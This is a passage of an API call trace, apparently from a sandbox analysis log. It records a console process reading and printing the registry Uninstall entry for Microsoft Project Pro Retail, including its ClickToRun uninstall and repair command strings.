lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ProjectProRetail - en-us", lpcchName=0x23f864, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.828] __iob_func () returned 0x7fefd702a80 [0146.828] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.828] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x23f800 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\ProjectProRetail - en-us\n") returned 96 [0146.829] _fileno (_File=0x7fefd702ab0) returned 1 [0146.829] _errno () returned 0xc4bb0 [0146.829] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.829] _errno () returned 0xc4bb0 [0146.829] GetFileType (hFile=0x50) returned 0x1 [0146.829] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\ProjectProRetail - en-us\n") returned 96 [0146.829] GetConsoleOutputCP () returned 0x1b5 [0146.829] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\ProjectProRetail - en-us\n", cchWideChar=96, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 96 [0146.829] GetConsoleOutputCP () returned 0x1b5 [0146.829] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\ProjectProRetail - en-us\n", cchWideChar=96, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\ProjectProRetail - en-us\n", lpUsedDefaultChar=0x0) returned 96 [0146.829] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 96 [0146.829] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.829] RegOpenKeyExW (in: hKey=0x58, lpSubKey="ProjectProRetail - en-us", ulOptions=0x0, samDesired=0x20019, phkResult=0x23f868 | out: phkResult=0x23f868*=0x5c) returned 0x0 [0146.829] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0*=0xb, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.829] GetProcessHeap () returned 0x2e0000 [0146.829] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x28) returned 0x2f5bc0 [0146.829] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="UninstallString", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0146.829] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x1ae) returned 0x0 [0146.829] GetProcessHeap () returned 0x2e0000 [0146.829] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x1b0) returned 0x2fd170 [0146.829] GetProcessHeap () returned 0x2e0000 [0146.829] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170) returned 1 [0146.830] GetProcessHeap () returned 0x2e0000 [0146.830] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd170) returned 0x1b0 [0146.830] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd170, pcbData=0x23f670*=0x1ae | out: pdwType=0x23f5f0*=0x1, pvData="\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe\" scenario=install scenariosubtype=ARP sourcetype=None productstoremove=ProjectProRetail.16_en-us_x-none culture=en-us version.16=16.0", pcbData=0x23f670*=0x1ac) returned 0x0 [0146.830] __iob_func () returned 0x7fefd702a80 [0146.830] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.830] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0146.830] _fileno (_File=0x7fefd702ab0) returned 1 [0146.830] _errno () returned 0xc4bb0 [0146.830] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.830] _errno () returned 0xc4bb0 [0146.830] GetFileType (hFile=0x50) returned 0x1 [0146.830] lstrlenW (lpString=" ") returned 4 [0146.830] GetConsoleOutputCP () returned 0x1b5 [0146.830] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.830] GetConsoleOutputCP () returned 0x1b5 [0146.830] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.830] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.830] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.830] lstrlenW (lpString="UninstallString") returned 15 [0146.830] __iob_func () returned 0x7fefd702a80 [0146.830] _fileno (_File=0x7fefd702ab0) returned 1 [0146.830] _errno () returned 0xc4bb0 [0146.830] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.830] _errno () returned 0xc4bb0 [0146.830] GetFileType (hFile=0x50) returned 0x1 [0146.830] lstrlenW (lpString="UninstallString") returned 15 [0146.831] GetConsoleOutputCP () returned 0x1b5 [0146.831] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0146.831] GetConsoleOutputCP () returned 0x1b5 [0146.831] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UninstallString", lpUsedDefaultChar=0x0) returned 15 [0146.831] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0146.831] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.831] __iob_func () returned 0x7fefd702a80 [0146.831] _fileno (_File=0x7fefd702ab0) returned 1 [0146.831] _errno () returned 0xc4bb0 [0146.831] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.831] _errno () returned 0xc4bb0 [0146.831] GetFileType (hFile=0x50) returned 0x1 [0146.831] lstrlenW (lpString=" ") returned 4 [0146.831] GetConsoleOutputCP () returned 0x1b5 [0146.831] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.831] GetConsoleOutputCP () returned 0x1b5 [0146.831] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.831] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.831] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.832] __iob_func () returned 0x7fefd702a80 [0146.832] _fileno (_File=0x7fefd702ab0) returned 1 [0146.832] _errno () returned 0xc4bb0 [0146.832] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.832] _errno () returned 0xc4bb0 [0146.832] GetFileType (hFile=0x50) returned 0x1 [0146.832] lstrlenW (lpString="REG_SZ") returned 6 [0146.832] GetConsoleOutputCP () returned 0x1b5 [0146.832] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0146.832] GetConsoleOutputCP () returned 0x1b5 [0146.832] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0146.832] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0146.832] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.832] __iob_func () returned 0x7fefd702a80 [0146.832] _fileno (_File=0x7fefd702ab0) returned 1 [0146.832] _errno () returned 0xc4bb0 [0146.832] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.832] _errno () returned 0xc4bb0 [0146.832] GetFileType (hFile=0x50) returned 0x1 [0146.832] lstrlenW (lpString=" ") returned 4 [0146.832] GetConsoleOutputCP () returned 0x1b5 [0146.832] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.833] GetConsoleOutputCP () returned 0x1b5 [0146.833] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.833] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.833] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.833] __iob_func () returned 0x7fefd702a80 [0146.833] _fileno (_File=0x7fefd702ab0) returned 1 [0146.833] _errno () returned 0xc4bb0 [0146.833] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.833] _errno () returned 0xc4bb0 [0146.833] GetFileType (hFile=0x50) returned 0x1 [0146.833] lstrlenW (lpString="\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe\" scenario=install scenariosubtype=ARP sourcetype=None productstoremove=ProjectProRetail.16_en-us_x-none culture=en-us version.16=16.0") returned 213 [0146.833] GetConsoleOutputCP () returned 0x1b5 [0146.833] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe\" scenario=install scenariosubtype=ARP sourcetype=None productstoremove=ProjectProRetail.16_en-us_x-none culture=en-us version.16=16.0", cchWideChar=213, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 213 [0146.833] GetConsoleOutputCP () returned 0x1b5 [0146.833] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe\" scenario=install scenariosubtype=ARP sourcetype=None productstoremove=ProjectProRetail.16_en-us_x-none culture=en-us version.16=16.0", cchWideChar=213, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe\" scenario=install scenariosubtype=ARP sourcetype=None productstoremove=ProjectProRetail.16_en-us_x-none culture=en-us version.16=16.0", lpUsedDefaultChar=0x0) returned 213 [0146.833] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 213 [0146.833] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.833] __iob_func () returned 0x7fefd702a80 [0146.833] _fileno (_File=0x7fefd702ab0) returned 1 [0146.833] _errno () returned 0xc4bb0 [0146.833] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.833] _errno () returned 0xc4bb0 [0146.833] GetFileType (hFile=0x50) returned 0x1 [0146.834] lstrlenW (lpString="\n") returned 1 [0146.834] GetConsoleOutputCP () returned 0x1b5 [0146.834] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.834] GetConsoleOutputCP () returned 0x1b5 [0146.834] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.834] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.834] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.834] GetProcessHeap () returned 0x2e0000 [0146.834] GetProcessHeap () returned 0x2e0000 [0146.834] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170) returned 1 [0146.834] GetProcessHeap () returned 0x2e0000 [0146.834] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd170) returned 0x1b0 [0146.834] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170 | out: hHeap=0x2e0000) returned 1 [0146.834] RegEnumValueW (in: hKey=0x5c, dwIndex=0x1, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="ModifyPath", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0146.834] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0xfa) returned 0x0 [0146.834] GetProcessHeap () returned 0x2e0000 [0146.834] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xfc) returned 0x2fd170 [0146.834] GetProcessHeap () returned 0x2e0000 [0146.834] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170) returned 1 [0146.834] GetProcessHeap () returned 0x2e0000 [0146.834] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd170) returned 0xfc [0146.834] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd170, pcbData=0x23f670*=0xfa | out: pdwType=0x23f5f0*=0x1, pvData="\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe\" scenario=repair platform=x64 culture=en-us", pcbData=0x23f670*=0xf8) returned 0x0 [0146.835] __iob_func () returned 0x7fefd702a80 [0146.835] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.835] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0146.835] _fileno (_File=0x7fefd702ab0) returned 1 [0146.835] _errno () returned 0xc4bb0 [0146.835] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.835] _errno () returned 0xc4bb0 [0146.835] GetFileType (hFile=0x50) returned 0x1 [0146.835] lstrlenW (lpString=" ") returned 4 [0146.835] GetConsoleOutputCP () returned 0x1b5 [0146.835] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.835] GetConsoleOutputCP () returned 0x1b5 [0146.835] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.835] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.835] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.835] lstrlenW (lpString="ModifyPath") returned 10 [0146.835] __iob_func () returned 0x7fefd702a80 [0146.835] _fileno (_File=0x7fefd702ab0) returned 1 [0146.835] _errno () returned 0xc4bb0 [0146.835] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.835] _errno () returned 0xc4bb0 [0146.835] GetFileType (hFile=0x50) returned 0x1 [0146.836] lstrlenW (lpString="ModifyPath") returned 10 [0146.836] GetConsoleOutputCP () returned 0x1b5 [0146.836] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0146.836] GetConsoleOutputCP () returned 0x1b5 [0146.836] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ModifyPath", lpUsedDefaultChar=0x0) returned 10 [0146.836] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0146.836] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.836] __iob_func () returned 0x7fefd702a80 [0146.836] _fileno (_File=0x7fefd702ab0) returned 1 [0146.836] _errno () returned 0xc4bb0 [0146.836] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.836] _errno () returned 0xc4bb0 [0146.836] GetFileType (hFile=0x50) returned 0x1 [0146.836] lstrlenW (lpString=" ") returned 4 [0146.836] GetConsoleOutputCP () returned 0x1b5 [0146.836] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.836] GetConsoleOutputCP () returned 0x1b5 [0146.836] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.836] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.836] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.837] __iob_func () returned 0x7fefd702a80 [0146.837] _fileno (_File=0x7fefd702ab0) returned 1 [0146.837] _errno () returned 0xc4bb0 [0146.837] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.837] _errno () returned 0xc4bb0 [0146.837] GetFileType (hFile=0x50) returned 0x1 [0146.837] lstrlenW (lpString="REG_SZ") returned 6 [0146.837] GetConsoleOutputCP () returned 0x1b5 [0146.837] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0146.837] GetConsoleOutputCP () returned 0x1b5 [0146.837] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0146.837] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0146.837] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.837] __iob_func () returned 0x7fefd702a80 [0146.837] _fileno (_File=0x7fefd702ab0) returned 1 [0146.837] _errno () returned 0xc4bb0 [0146.837] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.837] _errno () returned 0xc4bb0 [0146.837] GetFileType (hFile=0x50) returned 0x1 [0146.837] lstrlenW (lpString=" ") returned 4 [0146.837] GetConsoleOutputCP () returned 0x1b5 [0146.837] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.838] GetConsoleOutputCP () returned 0x1b5 [0146.838] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.838] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.838] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.838] __iob_func () returned 0x7fefd702a80 [0146.838] _fileno (_File=0x7fefd702ab0) returned 1 [0146.838] _errno () returned 0xc4bb0 [0146.838] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.838] _errno () returned 0xc4bb0 [0146.838] GetFileType (hFile=0x50) returned 0x1 [0146.838] lstrlenW (lpString="\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe\" scenario=repair platform=x64 culture=en-us") returned 123 [0146.838] GetConsoleOutputCP () returned 0x1b5 [0146.838] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe\" scenario=repair platform=x64 culture=en-us", cchWideChar=123, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 123 [0146.838] GetConsoleOutputCP () returned 0x1b5 [0146.838] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe\" scenario=repair platform=x64 culture=en-us", cchWideChar=123, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe\" scenario=repair platform=x64 culture=en-us", lpUsedDefaultChar=0x0) returned 123 [0146.838] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 123 [0146.838] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.838] __iob_func () returned 0x7fefd702a80 [0146.838] _fileno (_File=0x7fefd702ab0) returned 1 [0146.838] _errno () returned 0xc4bb0 [0146.838] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.838] _errno () returned 0xc4bb0 [0146.838] GetFileType (hFile=0x50) returned 0x1 [0146.839] lstrlenW (lpString="\n") returned 1 [0146.839] GetConsoleOutputCP () returned 0x1b5 [0146.839] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.839] GetConsoleOutputCP () returned 0x1b5 [0146.839] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.839] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.839] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.839] GetProcessHeap () returned 0x2e0000 [0146.839] GetProcessHeap () returned 0x2e0000 [0146.839] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170) returned 1 [0146.839] GetProcessHeap () returned 0x2e0000 [0146.839] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd170) returned 0xfc [0146.839] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170 | out: hHeap=0x2e0000) returned 1 [0146.839] RegEnumValueW (in: hKey=0x5c, dwIndex=0x2, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoRepair", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0146.839] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoRepair", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0146.839] GetProcessHeap () returned 0x2e0000 [0146.839] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0146.839] GetProcessHeap () returned 0x2e0000 [0146.839] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0146.839] GetProcessHeap () returned 0x2e0000 [0146.839] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0146.839] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoRepair", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0146.839] __iob_func () returned 0x7fefd702a80 [0146.839] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.840] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0146.840] _fileno (_File=0x7fefd702ab0) returned 1 [0146.840] _errno () returned 0xc4bb0 [0146.840] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.840] _errno () returned 0xc4bb0 [0146.840] GetFileType (hFile=0x50) returned 0x1 [0146.840] lstrlenW (lpString=" ") returned 